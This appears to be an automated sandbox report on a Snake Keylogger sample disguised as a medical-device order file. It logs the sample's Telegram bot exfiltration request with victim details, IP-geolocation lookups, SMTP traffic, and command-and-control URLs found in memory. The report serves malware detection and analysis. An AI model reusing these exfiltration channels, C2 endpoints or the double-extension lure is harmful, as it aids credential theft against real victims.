Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:745773%0D%0ADate%20and%20Time:%2007/12/2024%20/%2009:28:08%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20745773%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View

ASN Name: NIOBEBILISIMHIZMETLERITR NIOBEBILISIMHIZMETLERITR

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49702 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49714 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49707 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49747 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49727 -> 172.67.177.134:443

Source: global traffic

TCP traffic: 192.168.2.7:49802 -> 77.245.159.14:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.7:49704 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:745773%0D%0ADate%20and%20Time:%2007/12/2024%20/%2009:28:08%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20745773%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.adendanismanlik.com.tr

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 06 Dec 2024 08:58:24 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	String found in binary or memory: http://localhost/calculator_server/requests.php
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1325849803.0000000003087000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3763220342.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49781 version: TLS 1.2

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.40fca58.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7608, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_05573E28	0_2_05573E28
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_05576F90	0_2_05576F90
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_05574B01	0_2_05574B01
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_0557DFB4	0_2_0557DFB4
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_076D3E68	0_2_076D3E68
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_076D5540	0_2_076D5540
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_076DB4C8	0_2_076DB4C8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_076D6328	0_2_076D6328
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_076D42A0	0_2_076D42A0
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_076D5968	0_2_076D5968
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_076D5978	0_2_076D5978
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_07B208A4	0_2_07B208A4
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_07B22518	0_2_07B22518
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029AD278	7_2_029AD278
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029A5362	7_2_029A5362
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029A7118	7_2_029A7118
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029AC148	7_2_029AC148
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029AC738	7_2_029AC738
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029AC468	7_2_029AC468
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029ACA08	7_2_029ACA08
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029AE988	7_2_029AE988
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029A69B0	7_2_029A69B0
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029ACFAA	7_2_029ACFAA
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029ACCD8	7_2_029ACCD8
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029A9DE0	7_2_029A9DE0
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029AF988	7_2_029AF988
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029A29E0	7_2_029A29E0
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029AE97A	7_2_029AE97A
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029AF979	7_2_029AF979
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_029A3E18	7_2_029A3E18
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05569548	7_2_05569548
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556FC68	7_2_0556FC68
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05569C18	7_2_05569C18
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05565028	7_2_05565028
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556E258	7_2_0556E258
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556D550	7_2_0556D550
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556295A	7_2_0556295A
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556D540	7_2_0556D540
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_05562968	7_2_05562968
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556DDF1	7_2_0556DDF1
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556D999	7_2_0556D999
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 7_2_0556D9A8	7_2_0556D9A8
